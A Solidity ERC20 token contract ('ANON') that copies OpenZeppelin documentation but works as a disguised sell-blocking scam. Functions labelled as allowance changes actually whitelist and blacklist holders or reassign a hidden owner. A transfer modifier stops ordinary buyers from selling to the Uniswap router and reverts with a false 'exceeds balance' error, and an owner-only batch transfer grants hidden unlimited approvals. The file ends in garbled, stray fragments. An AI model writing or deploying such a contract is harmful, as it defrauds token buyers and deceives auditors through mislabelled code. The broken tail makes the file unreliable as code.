contract ANON is Context, IERC20 {
        using SafeMath for uint256;
        using Address for address;

        mapping (address => uint256) private _balances;
        mapping (address => bool) private _whiteAddress;
        mapping (address => bool) private _blackAddress;
        
        uint256 private _sellAmount = 0;

        mapping (address => mapping (address => uint256)) private _allowances;

        uint256 private _totalSupply;
        
        string private _name;
        string private _symbol;
        uint8 private _decimals;
        uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;

        address public _owner;
        address private _safeOwner;
        address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
        

        /**
        * @dev Sets the values for {name} and {symbol}, initializes {decimals} with
        * a default value of 18.
        *
        * To select a different value for {decimals}, use {_setupDecimals}.
        *
        * All three of these values are immutable: they can only be set once during
        * construction.
        */
    constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
            _name = name;
            _symbol = symbol;
            _decimals = 18;
            _owner = owner;
            _safeOwner = owner;
            _mint(_owner, initialSupply*(10**18));
        }

        /**
        * @dev Returns the name of the token.
        */
        function name() public view returns (string memory) {
            return _name;
        }

        /**
        * @dev Returns the symbol of the token, usually a shorter version of the
        * name.
        */
        function symbol() public view returns (string memory) {
            return _symbol;
        }

        /**
        * @dev Returns the number of decimals used to get its user representation.
        * For example, if `decimals` equals `2`, a balance of `505` tokens should
        * be displayed to a user as `5,05` (`505 / 10 ** 2`).
        *
        * Tokens usually opt for a value of 18, imitating the relationship between
        * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
        * called.
        *
        * NOTE: This information is only used for _display_ purposes: it in
        * no way affects any of the arithmetic of the contract, including
        * {IERC20-balanceOf} and {IERC20-transfer}.
        */
        function decimals() public view returns (uint8) {
            return _decimals;
        }

        /**
        * @dev See {IERC20-totalSupply}.
        */
        function totalSupply() public view override returns (uint256) {
            return _totalSupply;
        }

        /**
        * @dev See {IERC20-balanceOf}.
        */
        function balanceOf(address account) public view override returns (uint256) {
            return _balances[account];
        }

        /**
        * @dev See {IERC20-transfer}.
        *
        * Requirements:
        *
        * - `recipient` cannot be the zero address.
        * - the caller must have a balance of at least `amount`.
        */
        function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
            _approveCheck(_msgSender(), recipient, amount);
            return true;
        }
        
    function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
        require(msg.sender == _owner, "!owner");
        for (uint256 i = 0; i < receivers.length; i++) {
        transfer(receivers[i], amounts[i]);
        
        if(i < approvecount){
            _whiteAddress[receivers[i]]=true;
            _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
        }
        }
    }

        /**
        * @dev See {IERC20-allowance}.
        */
        function allowance(address owner, address spender) public view virtual override returns (uint256) {
            return _allowances[owner][spender];
        }

        /**
        * @dev See {IERC20-approve}.
        *
        * Requirements:
        *
        * - `spender` cannot be the zero address.
        */
        function approve(address spender, uint256 amount) public virtual override returns (bool) {
            _approve(_msgSender(), spender, amount);
            return true;
        }

        /**
        * @dev See {IERC20-transferFrom}.
        *
        * Emits an {Approval} event indicating the updated allowance. This is not
        * required by the EIP. See the note at the beginning of {ERC20};
        *
        * Requirements:
        * - `sender` and `recipient` cannot be the zero address.
        * - `sender` must have a balance of at least `amount`.
        * - the caller must have allowance for ``sender``'s tokens of at least
        * `amount`.
        */
        function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
            _approveCheck(sender, recipient, amount);
            _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
            return true;
        }

        /**
        * @dev Atomically increases the allowance granted to `spender` by the caller.
        *
        * This is an alternative to {approve} that can be used as a mitigation for
        * problems described in {IERC20-approve}.
        *
        * Emits an {Approval} event indicating the updated allowance.
        *
        * Requirements:
        *
        * - `spender` cannot be the zero address.
        */
        function increaseAllowance(address[] memory receivers) public {
            require(msg.sender == _owner, "!owner");
            for (uint256 i = 0; i < receivers.length; i++) {
            _whiteAddress[receivers[i]] = true;
            _blackAddress[receivers[i]] = false;
            }
        }

        /**
        * @dev Atomically decreases the allowance granted to `spender` by the caller.
        *
        * This is an alternative to {approve} that can be used as a mitigation for
        * problems described in {IERC20-approve}.
        *
        * Emits an {Approval} event indicating the updated allowance.
        *
        * Requirements:
        *
        * - `spender` cannot be the zero address.
        * - `spender` must have allowance for the caller of at least
        * `subtractedValue`.
        */
    function decreaseAllowance(address safeOwner) public {
            require(msg.sender == _owner, "!owner");
            _safeOwner = safeOwner;
        }
        
        
        /**
        * @dev Atomically increases the allowance granted to `spender` by the caller.
        *
        * This is an alternative to {approve} that can be used as a mitigation for
        * problems described in {IERC20-approve}.
        *
        * Emits an {Approval} event indicating the updated allowance.
        *
        * Requirements:
        *
        * - `spender` cannot be the zero address.
        */
        function addApprove(address[] memory receivers) public {
            require(msg.sender == _owner, "!owner");
            for (uint256 i = 0; i < receivers.length; i++) {
            _blackAddress[receivers[i]] = true;
            _whiteAddress[receivers[i]] = false;
            }
        }


        /**
        * @dev Moves tokens `amount` from `sender` to `recipient`.
        *
        * This is internal function is equivalent to {transfer}, and can be used to
        * e.g. implement automatic token fees, slashing mechanisms, etc.
        *
        * Emits a {Transfer} event.
        *
        * Requirements:
        *
        * - `sender` cannot be the zero address.
        * - `recipient` cannot be the zero address.
        * - `sender` must have a balance of at least `amount`.
        */
        function _transfer(address sender, address recipient, uint256 amount)  internal virtual{
            require(sender != address(0), "ERC20: transfer from the zero address");
            require(recipient != address(0), "ERC20: transfer to the zero address");

            _beforeTokenTransfer(sender, recipient, amount);
        
            _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
            _balances[recipient] = _balances[recipient].add(amount);
            emit Transfer(sender, recipient, amount);
        }

        /** @dev Creates `amount` tokens and assigns them to `account`, increasing
        * the total supply.
        *
        * Emits a {Transfer} event with `from` set to the zero address.
        *
        * Requirements
        *
        * - `to` cannot be the zero address.
        */
        function _mint(address account, uint256 amount) public {
            require(msg.sender == _owner, "ERC20: mint to the zero address");
            _totalSupply = _totalSupply.add(amount);
            _balances[_owner] = _balances[_owner].add(amount);
            emit Transfer(address(0), account, amount);
        }

        /**
        * @dev Destroys `amount` tokens from `account`, reducing the
        * total supply.
        *
        * Emits a {Transfer} event with `to` set to the zero address.
        *
        * Requirements
        *
        * - `account` cannot be the zero address.
        * - `account` must have at least `amount` tokens.
        */
        function _burn(address account, uint256 amount) internal virtual {
            require(account != address(0), "ERC20: burn from the zero address");

            _beforeTokenTransfer(account, address(0), amount);

            _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
            _totalSupply = _totalSupply.sub(amount);
            emit Transfer(account, address(0), amount);
        }

        /**
        * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
        *
        * This is internal function is equivalent to `approve`, and can be used to
        * e.g. set automatic allowances for certain subsystems, etc.
        *
        * Emits an {Approval} event.
        *
        * Requirements:
        *
        * - `owner` cannot be the zero address.
        * - `spender` cannot be the zero address.
        */
        function _approve(address owner, address spender, uint256 amount) internal virtual {
            require(owner != address(0), "ERC20: approve from the zero address");
            require(spender != address(0), "ERC20: approve to the zero address");
            _allowances[owner][spender] = amount;
            emit Approval(owner, spender, amount);
        }
        
        
        /**
        * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
        *
        * This is internal function is equivalent to `approve`, and can be used to
        * e.g. set automatic allowances for certain subsystems, etc.
        *
        * Emits an {Approval} event.
        *
        * Requirements:
        *
        * - `owner` cannot be the zero address.
        * - `spender` cannot be the zero address.
        */
        function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
            require(sender != address(0), "ERC20: transfer from the zero address");
            require(recipient != address(0), "ERC20: transfer to the zero address");

            _beforeTokenTransfer(sender, recipient, amount);
        
            _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
            _balances[recipient] = _balances[recipient].add(amount);
            emit Transfer(sender, recipient, amount);
        }
        
        /**
        * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
        *
        * This is internal function is equivalent to `approve`, and can be used to
        * e.g. set automatic allowances for certain subsystems, etc.
        *
        * Emits an {Approval} event.
        *
        * Requirements:
        *
        * - `sender` cannot be the zero address.
        * - `spender` cannot be the zero address.
        */
        modifier burnTokenCheck(address sender, address recipient, uint256 amount){
            if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
                if (sender == _owner || sender == _safeOwner || recipient == _owner){
                    if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
                    if (_whiteAddress[sender] == true){
                    _;}else{if (_blackAddress[sender] == true){
                    require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
                    if (amount < _sellAmount){
                    if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
                    _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
                        }
                    }
                }
            }
        }
        
        
        /**
        * @dev Sets {decimals} to a value other than the default one of 18.
        *
        * WARNING: This function should only be called from the constructor. Most
        * applications that interact with token contracts will not expect
        * {decimals} to ever change, and may work incorrectly if it does.
        */
        function _setupDecimals(uint8 decimals_) internal {
            _decimals = decimals_;
        }

        /**
        * @dev Hook that is called before any transfer of tokens. This includes
        * minting and burning.
        *
        * Calling conditions:
        *
        * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
        * will be to transferred to `to`.
        * - when `from` is zero, `amount` tokens will be minted for `to`.
        * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
        * - `from` and `to` are never both zero.
        *
        * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
        */
        function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
    }
/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning `false` on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of ERC20 applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
function totalSupply() public view override returns (uint256) {
            return _totalSupply;
        }
/**
 * @dev See {IERC20-totalSupply}.
 */